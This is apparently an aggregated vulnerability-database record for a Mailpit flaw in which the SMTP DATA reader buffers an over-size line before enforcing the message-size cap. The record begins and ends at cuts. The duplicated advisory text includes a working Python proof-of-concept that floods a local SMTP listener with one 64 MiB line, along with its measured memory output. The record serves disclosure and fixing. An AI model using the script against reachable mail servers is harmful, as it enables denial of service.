{\ndevelop:internal/smtpd/smtpd.go:895:\t\t\t\treturn nil, maxSizeExceeded(s.srv.MaxSize)\n```\n\n## Advisory History\n\nThe closest public advisory is `GHSA-fpxj-m5q8-fphw`, \"Unauthenticated remote memory-exhaustion DoS via unlimited SMTP DATA and /api/v1/send body sizes.\" That advisory covered older versions where `Server.MaxSize` was not assigned, leaving SMTP DATA bodies unlimited. This report is the post-fix single-line gap: `MaxSize` is assigned and the message is eventually rejected, but one over-limit DATA line is still buffered before the cap runs.\n\nOther published Mailpit advisories checked include `GHSA-28pq-6qxg-wg5r` for sibling HTTP JSON body limits, `GHSA-54wq-72mp-cq7c` for SMTP header injection, `GHSA-w4vj-r5pg-3722` for proxy CSS map concurrency, `GHSA-qx5x-85p8-vg4j` for dump path traversal, the SSRF/link-check/proxy/html-check family, and `GHSA-524m-q5m7-79mm` for CSWSH. None describe this post-fix SMTP DATA line-buffering behavior.\n\n`GHSA-w878-pj84-3j5v` and `GHSA-75mr-qw9x-3r39` were published on 2026-07-09 and included in the `v1.30.4` security release. `GHSA-w878-pj84-3j5v` caps SMTP command lines before `DATA` and POP3 command lines before message retrieval. It remains distinct from this post-DATA path: `v1.30.4` still calls `ReadBytes('\\n')` in `readData()` before comparing the complete line against `MaxSize`. `GHSA-75mr-qw9x-3r39` bounds decoded thumbnail dimensions in the HTTP attachment handler, with a different boundary, sink, precondition, and fix surface.\n\nThe separate POP3 command-line draft was rejected and removed after `GHSA-w878-pj84-3j5v` and the `v1.30.4` release established that the shared command-line fix covers both SMTP and POP3. That disposition does not cover this report: the affected path is SMTP `readData()` after `DATA`, remains present in `v1.30.4`, and requires a remaining-message or DATA-line bound rather than a command-reader cap.\n\nPublic issue searches for `SMTP DATA line size` and `ReadBytes DATA MaxSize` returned no matching issues. Public commit search for `MaxSize ReadBytes` returned no matching fix.","status":"published","published":"2026-08-20T21:34:52Z","modified":"2026-09-02T23:40:37Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:41:11.621873Z"}],"nvd":[{"id":"CVE-2026-67447","description":"Mailpit is an email testing tool and API for developers. From 1.30.0 until 1.30.5, Mailpit's internal/smtpd/smtpd.go readData() function calls bufio.Reader.ReadBytes before applying the len(data)+len(line) size check to the completed SMTP DATA line against Server.MaxSize. An unauthenticated SMTP client can send a single line larger than the configured MaxMessageSize, causing the full line to be allocated before Mailpit returns the 552 5.3.4 rejection. This post-fix gap remains after normal multi-line DATA accumulation was bounded, and concurrent oversized lines can create substantial memory pressure beyond the configured message-size cap. This issue is fixed in version 1.30.5.","status":"published","published":"2026-08-20T22:17:56.72Z","modified":"2026-10-18T20:10:00.11Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:12:40.302911Z"}],"osv":[{"id":"CVE-2026-67447","title":"Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement","description":"Mailpit is an email testing tool and API for developers. From 1.30.0 until 1.30.5, Mailpit's internal/smtpd/smtpd.go readData() function calls bufio.Reader.ReadBytes before applying the len(data)+len(line) size check to the completed SMTP DATA line against Server.MaxSize. An unauthenticated SMTP client can send a single line larger than the configured MaxMessageSize, causing the full line to be allocated before Mailpit returns the 552 5.3.4 rejection. This post-fix gap remains after normal multi-line DATA accumulation was bounded, and concurrent oversized lines can create substantial memory pressure beyond the configured message-size cap. This issue is fixed in version 1.30.5.","status":"published","published":"2026-08-20T21:15:06.567Z","modified":"2026-10-28T02:31:09.230823759Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:45:14.46177Z"},{"id":"GHSA-r553-m4fv-5v97","title":"Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement","description":"## Summary\n\nMailpit's SMTP DATA reader enforces the configured `MaxMessageSize` only after `bufio.Reader.ReadBytes('\\n')` has already buffered a complete DATA line. A remote unauthenticated SMTP client can send one line larger than the configured message-size cap and force memory allocation before Mailpit returns the expected `552 5.3.4` rejection, leaving patched versions still exposed to a single-line incomplete-fix variant of the earlier SMTP DATA body-size issue.\n\n## Technical Details\n\nMailpit enables SMTP by default. The SMTP server now wires `config.MaxMessageSize` into `srv.MaxSize`:\n\n```go\nif config.MaxMessageSize \u003e 0 {\n    srv.MaxSize = config.MaxMessageSize * 1024 * 1024\n}\n```\n\nThe DATA reader then checks that cap, but only after reading a full newline-terminated line into memory:\n\n```go\nline, err := s.br.ReadBytes('\\n')\nif err != nil {\n    return nil, err\n}\n\nif bytes.Equal(line, []byte(\".\\r\\n\")) {\n    break\n}\nif line[0] == '.' {\n    line = line[1:]\n}\n\nif s.srv.MaxSize \u003e 0 {\n    if len(data)+len(line) \u003e s.srv.MaxSize {\n        _, _ = s.br.Discard(s.br.Buffered())\n        return nil, maxSizeExceeded(s.srv.MaxSize)\n    }\n}\n```\n\nThis ordering violates the size-limit invariant. The configured cap can reject the message only after the attacker has supplied the line terminator and `ReadBytes('\\n')` has allocated the over-limit line. With the default 50 MiB cap, a 64 MiB single DATA line is still buffered before Mailpit returns `552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800)`.\n\nThis is related to the older SMTP DATA body-size advisory, but it is a post-fix gap: `srv.MaxSize` is now assigned, and normal multi-line DATA accumulation is bounded. The remaining issue is that one individual DATA line is not bounded before buffering.\n\n## PoV\n\nThe following reduced proof starts a local Mailpit release binary, sends a small DATA message as a negative control, then sends one 64 MiB DATA line without an intermediate newline. It samples process RSS while the request is in flight:\n\n```python\n#!/usr/bin/env python3\nimport os, socket, subprocess, threading, time\nfrom pathlib import Path\n\ndef free_port():\n    s = socket.socket()\n    s.bind((\"127.0.0.1\", 0))\n    p = s.getsockname()[1]\n    s.close()\n    return p\n\ndef rss_kib(pid):\n    return int(subprocess.check_output([\"ps\", \"-o\", \"rss=\", \"-p\", str(pid)], text=True).strip())\n\ndef recv_line(sock):\n    data = b\"\"\n    while not data.endswith(b\"\\n\"):\n        chunk = sock.recv(1)\n        if not chunk:\n            break\n        data += chunk\n    return data.decode(\"latin-1\", \"replace\").strip()\n\ndef send_cmd(sock, cmd):\n    sock.sendall(cmd)\n    return recv_line(sock)\n\ndef wait_for_smtp(port):\n    deadline = time.time() + 8\n    while time.time() \u003c deadline:\n        try:\n            with socket.create_connection((\"127.0.0.1\", port), timeout=0.5) as sock:\n                recv_line(sock)\n                return\n        except OSError:\n            time.sleep(0.1)\n    raise RuntimeError(\"SMTP server did not become ready\")\n\ndef send_data_line(port, pid, label, payload_bytes, finish_message):\n    stop = threading.Event()\n    peak = {\"rss\": rss_kib(pid)}\n    def monitor():\n        while not stop.is_set():\n            peak[\"rss\"] = max(peak[\"rss\"], rss_kib(pid))\n            time.sleep(0.03)\n    t = threading.Thread(target=monitor, daemon=True)\n    t.start()\n    sock = socket.create_connection((\"127.0.0.1\", port), timeout=20)\n    try:\n        recv_line(sock)\n        send_cmd(sock, b\"HELO pov.example\\r\\n\")\n        send_cmd(sock, b\"MAIL FROM:\u003csender@example.test\u003e\\r\\n\")\n        send_cmd(sock, b\"RCPT TO:\u003crecipient@example.test\u003e\\r\\n\")\n        send_cmd(sock, b\"DATA\\r\\n\")\n        sock.sendall(f\"Subject: {label}\\r\\n\\r\\n\".encode())\n        chunk = b\"A\" * min(1024 * 1024, payload_bytes)\n        remaining = payload_bytes\n        while remaining:\n            n = min(len(chunk), remaining)\n            sock.sendall(chunk[:n])\n            remaining -= n\n        sock.sendall(b\"\\r\\n.\\r\\n\" if finish_message else b\"\\r\\n\")\n        response = recv_line(sock)\n    finally:\n        stop.set()\n        t.join(timeout=1)\n        sock.close()\n    after = rss_kib(pid)\n    return response, max(peak[\"rss\"], after), after\n\nmailpit = \"./mailpit\"\nworkdir = Path(\"./pov-work\")\nworkdir.mkdir(exist_ok=True)\nhttp_port, smtp_port = free_port(), free_port()\nproc = subprocess.Popen([mailpit, \"--disable-version-check\", \"--database\", str(workdir / \"mailpit.db\"), \"--listen\", f\"127.0.0.1:{http_port}\", \"--smtp\", f\"127.0.0.1:{smtp_port}\", \"--max-message-size\", \"50\"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, env=os.environ.copy())\ntry:\n    wait_for_smtp(smtp_port)\n    time.sleep(0.25)\n    max_message_size_mib = 50\n    control_payload = 1024\n    oversized_payload = 64 * 1024 * 1024\n    baseline = rss_kib(proc.pid)\n    control_resp, control_peak, after_control = send_data_line(smtp_port, proc.pid, \"negative-control\", control_payload, True)\n    oversized_resp, oversized_peak, after_oversized = send_data_line(smtp_port, proc.pid, \"oversized-single-line\", oversized_payload, False)\n    print(f\"max_message_size_mib={max_message_size_mib}\")\n    print(f\"baseline_rss_kib={baseline}\")\n    print(f\"control_payload_bytes={control_payload}\")\n    print(f\"control_response={control_resp}\")\n    print(f\"control_peak_delta_kib={control_peak - baseline}\")\n    print(f\"after_control_rss_kib={after_control}\")\n    print(f\"oversized_single_data_line_bytes={oversized_payload}\")\n    print(f\"oversized_response={oversized_resp}\")\n    print(f\"oversized_peak_delta_kib={oversized_peak - after_control}\")\n    print(f\"after_oversized_rss_kib={after_oversized}\")\nfinally:\n    proc.terminate()\n    try:\n        proc.wait(timeout=5)\n    except subprocess.TimeoutExpired:\n        proc.kill()\n```\n\n## PoC\n\nFor the official Darwin ARM64 `v1.30.3` release binary used for this proof, start in a clean parent directory and create the PoC directory:\n\n```fish\nmkdir mailpit-v1.30.3-pov\ncd mailpit-v1.30.3-pov\n```\n\nFrom inside that directory, save the script above as `smtp_data_line_size_pov.py`, then run:\n\n```fish\ncurl -fsSLO https://github.com/axllent/mailpit/releases/download/v1.30.3/mailpit-darwin-arm64.tar.gz\ntar -xzf mailpit-darwin-arm64.tar.gz\nchmod +x ./mailpit\n./mailpit version\npython3 ./smtp_data_line_size_pov.py\n```\n\nThe official Darwin ARM64 `v1.30.3` release binary reported:\n\n```text\nmailpit v1.30.3 compiled with go1.26.4 on darwin/arm64\n```\n\nThe bounded PoC output was:\n\n```text\nmax_message_size_mib=50\nbaseline_rss_kib=25008\ncontrol_payload_bytes=1024\ncontrol_response=250 2.0.0 Ok: queued as 1702Ad5k2J9kgOrc6phO0X\ncontrol_peak_delta_kib=2656\nafter_control_rss_kib=27680\noversized_single_data_line_bytes=67108864\noversized_response=552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800)\noversized_peak_delta_kib=132928\nafter_oversized_rss_kib=160608\n```\n\nThe control shows the normal DATA path accepting and queueing a small message. The oversized case differs only in DATA line length: Mailpit returns the configured size-cap rejection, but only after process RSS rises by about 130 MiB for one 64 MiB line.\n\n## Impact\n\nAn unauthenticated client that can reach the SMTP listener can force Mailpit to allocate memory above the configured `MaxMessageSize` before rejection. Repeating the input across concurrent connections can create substantial memory pressure and degrade service availability. The issue is bounded by attacker bandwidth and host memory rather than by the configured message-size cap until a newline arrives and the delayed check runs.\n\nExploitability requires the SMTP listener to be reachable by an untrusted client. Typical Mailpit deployments confined to trusted internal networks, CI environments without untrusted SMTP access, or loopback-only access therefore have substantially lower practical risk. `AV:N` describes the network attack path in a reachable deployment; it does not imply that most Mailpit instances are exposed to the public Internet.\n\nThe PoV demonstrates substantial memory pressure but does not establish complete service loss. The advisory therefore uses Low availability impact (`A:L`), producing a CVSS 3.1 score of 5.3 (Medium).\n\n## Suggested Fix\n\nBound SMTP DATA line reads before buffering the full line. Replace unbounded `ReadBytes('\\n')` with a reader that stops once `len(data)+currentLineBytes` would exceed `srv.MaxSize`, returns the existing `552 5.3.4` error, and drains or closes the connection without retaining the over-limit line. The check should account for dot-stuffing and the CRLF terminator, and should reject before allocating attacker-controlled bytes beyond the configured cap.\n\nRegression tests should cover a normal small DATA message, a multi-line message exactly at the cap, and a single line over the cap. The over-cap single-line test should assert that Mailpit returns `552 5.3.4` without reading the whole line into a returned buffer or causing material RSS growth.\n\n## Affected Package/Versions\n\nConfirmed affected:\n\n- `v1.30.0`, commit `af8756a32cf7ecf06bef109c1348b783f1a239ee`, source has the post-fix `srv.MaxSize` wiring and the same `ReadBytes('\\n')` before size enforcement.\n- `v1.30.3`, commit `6acf5b8f942ab0e007b1227d31dfb3c3303e8d13`, reproduces with the official Darwin ARM64 binary shown above.\n- Latest release `v1.30.4`, commit `3b41030dbef4574ec92b815cb464fec7b4cfdc15`, published 2026-07-09, is source-confirmed with the same vulnerable ordering.\n- Current `develop`, commit `6a09f28d5489a85245cc8ddbf512047495627147`, checked 2026-07-09, is source-confirmed with the same vulnerable ordering.\n\nNo fixed version was identified during this review.\n\nA focused source sweep on 2026-07-09 returned the same ordering for the lower post-fix release, latest release, and current `develop`: `internal/smtpd/main.go` wires `MaxMessageSize` into `srv.MaxSize`, while `internal/smtpd/smtpd.go` still reads a full DATA line before enforcing that cap.\n\n```text\ndevelop_head=6a09f28d5489a85245cc8ddbf512047495627147\nv1.30.4_commit=3b41030dbef4574ec92b815cb464fec7b4cfdc15\nv1.30.0_commit=af8756a32cf7ecf06bef109c1348b783f1a239ee\n\nv1.30.0:internal/smtpd/main.go:250:\tif config.MaxMessageSize \u003e 0 {\nv1.30.0:internal/smtpd/main.go:251:\t\tsrv.MaxSize = config.MaxMessageSize * 1024 * 1024\nv1.30.0:internal/smtpd/smtpd.go:855:\t\tline, err := s.br.ReadBytes('\\n')\nv1.30.0:internal/smtpd/smtpd.go:869:\t\tif s.srv.MaxSize \u003e 0 {\nv1.30.0:internal/smtpd/smtpd.go:870:\t\t\tif len(data)+len(line) \u003e s.srv.MaxSize {\nv1.30.0:internal/smtpd/smtpd.go:872:\t\t\t\treturn nil, maxSizeExceeded(s.srv.MaxSize)\n\nv1.30.4:internal/smtpd/main.go:250:\tif config.MaxMessageSize \u003e 0 {\nv1.30.4:internal/smtpd/main.go:251:\t\tsrv.MaxSize = config.MaxMessageSize * 1024 * 1024\nv1.30.4:internal/smtpd/smtpd.go:878:\t\tline, err := s.br.ReadBytes('\\n')\nv1.30.4:internal/smtpd/smtpd.go:892:\t\tif s.srv.MaxSize \u003e 0 {\nv1.30.4:internal/smtpd/smtpd.go:893:\t\t\tif len(data)+len(line) \u003e s.srv.MaxSize {\nv1.30.4:internal/smtpd/smtpd.go:895:\t\t\t\treturn nil, maxSizeExceeded(s.srv.MaxSize)\n\ndevelop:internal/smtpd/main.go:250:\tif config.MaxMessageSize \u003e 0 {\ndevelop:internal/smtpd/main.go:251:\t\tsrv.MaxSize = config.MaxMessageSize * 1024 * 1024\ndevelop:internal/smtpd/smtpd.go:878:\t\tline, err := s.br.ReadBytes('\\n')\ndevelop:internal/smtpd/smtpd.go:892:\t\tif s.srv.MaxSize \u003e 0 {\ndevelop:internal/smtpd/smtpd.go:893:\t\t\tif len(data)+len(line) \u003e s.srv.MaxSize {\ndevelop:internal/smtpd/smtpd.go:895:\t\t\t\treturn nil, maxSizeExceeded(s.srv.MaxSize)\n```\n\n## Advisory History\n\nThe closest public advisory is `GHSA-fpxj-m5q8-fphw`, \"Unauthenticated remote memory-exhaustion DoS via unlimited SMTP DATA and /api/v1/send body sizes.\" That advisory covered older versions where `Server.MaxSize` was not assigned, leaving SMTP DATA bodies unlimited. This report is the post-fix single-line gap: `MaxSize` is assigned and the message is eventually rejected, but one over-limit DATA line is still buffered before the cap runs.\n\nOther published Mailpit advisories checked include `GHSA-28pq-6qxg-wg5r` for sibling HTTP JSON body limits, `GHSA-54wq-72mp-cq7c` for SMTP header injection, `GHSA-w4vj-r5pg-3722` for proxy CSS map concurrency, `GHSA-qx5x-85p8-vg4j` for dump path traversal, the SSRF/link-check/proxy/html-check family, and `GHSA-524m-q5m7-79mm` for CSWSH. None describe this post-fix SMTP DATA line-buffering behavior.\n\n`GHSA-w878-pj84-3j5v` and `GHSA-75mr-qw9x-3r39` were published on 2026-07-09 and included in the `v1.30.4` security release. `GHSA-w878-pj84-3j5v` caps SMTP command lines before `DATA` and POP3 command lines before message retrieval. It remains distinct from this post-DATA path: `v1.30.4` still calls `ReadBytes('\\n')` in `readData()` before comparing the complete line against `MaxSize`. `GHSA-75mr-qw9x-3r39` bounds decoded thumbnail dimensions in the HTTP attachment handler, with a different boundary, sink, precondition, and fix surface.\n\nThe separate POP3 command-line draft was rejected and removed after `GHSA-w878-pj84-3j5v` and the `v1.30.4` release established that the shared command-line fix covers both SMTP and POP3. That disposition does not cover this report: the affected path is SMTP `readData()` after `DATA`, remains present in `v1.30.4`, and requires a remaining-message or DATA-line bound rather than a command-reader cap.\n\nPublic issue searches for `SMTP DATA line size` and `ReadBytes DATA MaxSize` returned no matching issues. Public commit search for `MaxSize ReadBytes` returned no matching fix.","status":"published","published":"2026-08-20T21:34:52Z","modified":"2026-09-02T23:45:04.656426563Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:55.480549Z"},{"id":"GO-2026-6272","title":"Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement in github.com/axllent/mailpit","description":"Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement in github.com/axllent/mailpit","status":"published","published":"2026-08-25T19:43:10Z","modified":"2026-08-26T01:21:40.611175898Z","updated_at":"2026-11-02T15:47:03.11707Z"},{"id":"openSUSE-SU-2026:21761-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5026 CVE-2026-39821\n  * GO-2026-6225\n  * GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw\n  * GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h\n  * GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q\n  * GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6\n  * GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86\n  * GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p\n  * GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6\n  * GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68\n  * GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v\n  * GO-2026-6262 GHSA-22w5-2fxg-vrwx\n  * GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28\n  * GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j\n  * GO-2026-6265 GHSA-8fxq-53rx-ph5f\n  * GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m\n  * GO-2026-6267 GHSA-h58c-xccx-75m3\n  * GO-2026-6268 GHSA-q9c5-pp7m-fm2g\n  * GO-2026-6269 GHSA-rxhg-vcww-2mpw\n  * GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5\n  * GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m\n  * GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97\n  * GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28\n  * GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w\n  * GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34\n  * GO-2026-6277 GHSA-4ph6-mjv7-3fq6\n  * GO-2026-6278 GHSA-w67g-5rqw-f597\n  * GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v\n  * GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw\n  * GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4\n  * GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9\n  * GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q\n  * GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg\n  * GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr\n  * GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4\n  * GO-2026-6287 GHSA-vx2m-jpxr-xv7w\n  * GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr\n  * GO-2026-6289 GHSA-w8j7-39hp-8x59\n  * GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3\n  * GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58\n  * GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m\n  * GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq\n  * GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff\n  * GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx\n  * GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9\n  * GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm\n  * GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp\n  * GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px\n  * GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf\n  * GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf\n\n- Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-4720 GHSA-v3mg-9v85-fcm7\n  * GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc\n  * GO-2026-4950\n  * GO-2026-6093 GHSA-464c-974j-9xm6\n  * GO-2026-6094 GHSA-gcjh-h69q-9w9g\n  * GO-2026-6095 GHSA-r277-6w6q-xmqw\n  * GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737\n  * GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv\n  * GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q\n  * GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv\n  * GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf\n  * GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8\n  * GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp\n  * GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp\n  * GO-2026-6105 GHSA-c534-2w9c-x7fm\n  * GO-2026-6106 GHSA-v6w6-358x-2433\n  * GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3\n  * GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq\n  * GO-2026-6109 GHSA-86cx-wwf4-phq4\n  * GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75\n  * GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h\n  * GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq\n  * GO-2026-6113 GHSA-p6ph-3jx2-3337\n  * GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8\n  * GO-2026-6115 CVE-2026-56867\n  * GO-2026-6117 GHSA-hp74-gm6m-2qm5\n  * GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7\n  * GO-2026-6119 CVE-2026-43983 GHSA-w6p7-2fxx-4f44\n  * GO-2026-6120 CVE-2026-54593 GHSA-8r6w-3qq5-4p4r\n  * GO-2026-6121 CVE-2026-54345 GHSA-6r28-9ppf-4hj5\n  * GO-2026-6122 CVE-2026-54332 GHSA-g6v3-7xmc-w563\n  * GO-2026-6123 CVE-2026-49446 GHSA-2rx5-2g7j-2659\n  * GO-2026-6124 CVE-2026-49447 GHSA-5fqm-cc34-fcf5\n  * GO-2026-6125 CVE-2026-11479 GHSA-6h35-9p2w-3j3r\n  * GO-2026-6126 CVE-2026-11465 GHSA-7v3v-cp44-vc8m\n  * GO-2026-6127 CVE-2026-50567 GHSA-q6vm-xqc9-v3ff\n  * GO-2026-6128 CVE-2026-11481 GHSA-q76h-p6jh-9rw3\n  * GO-2026-6129 CVE-2026-50570 GHSA-qf5v-m7p4-95rp\n  * GO-2026-6130 CVE-2026-50568 GHSA-r5jh-q2mw-gcx4\n  * GO-2026-6131 CVE-2026-50569 GHSA-vchh-r53j-8mpw\n  * GO-2026-6132 CVE-2026-62325 GHSA-rjrw-mjq6-hpmm\n  * GO-2026-6133 CVE-2026-54719 GHSA-rmxw-pq4x-3fvh\n  * GO-2026-6134 CVE-2026-66064 GHSA-964w-f6gj-5236\n  * GO-2026-6135 CVE-2026-54650 GHSA-fh2f-xfxc-q9cc\n  * GO-2026-6136 CVE-2026-64863 GHSA-hq33-8jgp-8qq3\n  * GO-2026-6137 CVE-2026-66063 GHSA-wg2q-39h6-66x9\n  * GO-2026-6138 CVE-2026-54638 GHSA-whmm-qj9r-wvr2\n  * GO-2026-6139 CVE-2026-54735 GHSA-4p3g-4hcj-wpvx\n  * GO-2026-6140 CVE-2026-11500 GHSA-jqpm-wf57-qx5c\n  * GO-2026-6141 CVE-2026-54693 GHSA-jq8w-8q2f-ffm9\n  * GO-2026-6142 CVE-2026-54680 GHSA-mjqf-28ph-426h\n  * GO-2026-6143 GHSA-xvg2-cgv6-6h7v\n  * GO-2026-6144 CVE-2026-67439 GHSA-jm28-2wcr-qf3h\n  * GO-2026-6145 CVE-2026-67438 GHSA-xc5w-4v5w-7x65\n  * GO-2026-6146 CVE-2026-67437 GHSA-xpxj-f2fm-rqch\n  * GO-2026-6147 CVE-2026-25688 GHSA-hmr2-99jm-8x45\n  * GO-2026-6148 CVE-2026-25699 GHSA-w754-5646-xq9j\n  * GO-2026-6151 CVE-2026-34033 GHSA-6qwm-5fm9-cvjx\n  * GO-2026-6152 CVE-2026-34905 GHSA-85r2-pvg8-89r9\n  * GO-2026-6153 CVE-2026-33582 GHSA-v553-g2w6-295p\n  * GO-2026-6154 CVE-2026-34031 GHSA-x4f6-mqg6-28xx\n  * GO-2026-6155 CVE-2026-65834 GHSA-68cj-mvg9-rgm2\n  * GO-2026-6156 CVE-2026-52856 GHSA-ghrq-5wpp-hxx5\n  * GO-2026-6157 CVE-2026-65835 GHSA-jr6p-8pjj-mfx6\n  * GO-2026-6158 CVE-2026-52855 GHSA-pfvc-3p5h-x7h6\n  * GO-2026-6159 CVE-2026-52857 GHSA-q6hh-gp44-4hcm\n  * GO-2026-6160 CVE-2026-54725 GHSA-r2v3-8gwf-7ghm\n  * GO-2026-6161 CVE-2026-53551 GHSA-qj55-47fp-p62j\n  * GO-2026-6162 CVE-2026-54787 GHSA-wqqc-jjcq-vfxm\n  * GO-2026-6163 CVE-2026-54909 GHSA-34rh-wp3j-6cxc\n  * GO-2026-6164 CVE-2026-54910 GHSA-vvp7-h4fj-m28w\n  * GO-2026-6165 CVE-2026-54908 GHSA-wg4g-wm44-ch5j\n  * GO-2026-6166 CVE-2026-56868\n  * GO-2026-6168 CVE-2026-56869\n  * GO-2026-6169 CVE-2026-56870\n  * GO-2026-6170 CVE-2026-56871\n  * GO-2026-6171 CVE-2026-56872\n  * GO-2026-6172 CVE-2026-56873\n  * GO-2026-6173 CVE-2026-56874\n  * GO-2026-6181 GHSA-gwfq-86j8-7qhv\n  * GO-2026-6182 CVE-2026-71312 GHSA-2m8m-jhrm-w6j2\n  * GO-2026-6183 GHSA-3x6r-wxxg-53vv\n  * GO-2026-6184 CVE-2026-71309 GHSA-45pq-889g-fcgh\n  * GO-2026-6185 CVE-2026-59732 GHSA-4vr5-p2gc-h23p\n  * GO-2026-6186 CVE-2026-71313 GHSA-7p4m-qxvv-g567\n  * GO-2026-6187 CVE-2026-71311 GHSA-8c48-q9wj-3w37\n  * GO-2026-6188 GHSA-8mxv-9xhp-86h4\n  * GO-2026-6189 GHSA-8v25-v8p6-qf7v\n  * GO-2026-6190 GHSA-945v-v9p3-v5xw\n  * GO-2026-6191 CVE-2026-54572 GHSA-cf44-9pgv-m4xc\n  * GO-2026-6192 CVE-2026-65602 GHSA-42cj-m3vj-89wv\n  * GO-2026-6195 CVE-2026-59733 GHSA-fqj9-69pf-6pjg\n  * GO-2026-6196 GHSA-gx4c-2hqx-cw2r\n  * GO-2026-6197 GHSA-h4mf-4v27-hggj\n  * GO-2026-6198 CVE-2026-65601 GHSA-qq9q-x9w4-chhj\n  * GO-2026-6199 CVE-2026-71310 GHSA-xhf4-832v-7xcr\n  * GO-2026-6201 CVE-2026-71324 GHSA-3ccp-42pg-hgv6\n  * GO-2026-6202 CVE-2026-54764 GHSA-3q9r-p662-5j8m\n  * GO-2026-6203 CVE-2026-71325 GHSA-62fc-8686-hfmq\n  * GO-2026-6204 CVE-2026-71326 GHSA-6765-c87h-8mrf\n  * GO-2026-6205 CVE-2026-54765 GHSA-6p8f-p8j2-rqmv\n  * GO-2026-6207 CVE-2026-67309 GHSA-8rxv-jg7p-wvg3\n  * GO-2026-6208 CVE-2026-65600 GHSA-cxjq-mrr5-89rv\n  * GO-2026-6209 CVE-2026-71327 GHSA-fgjj-px3w-67xx\n  * GO-2026-6211 CVE-2026-54763 GHSA-x677-9fxg-v5c5\n  * GO-2026-6212 CVE-2026-39904 GHSA-42jc-v69j-g38f\n  * GO-2026-6213 CVE-2026-71556 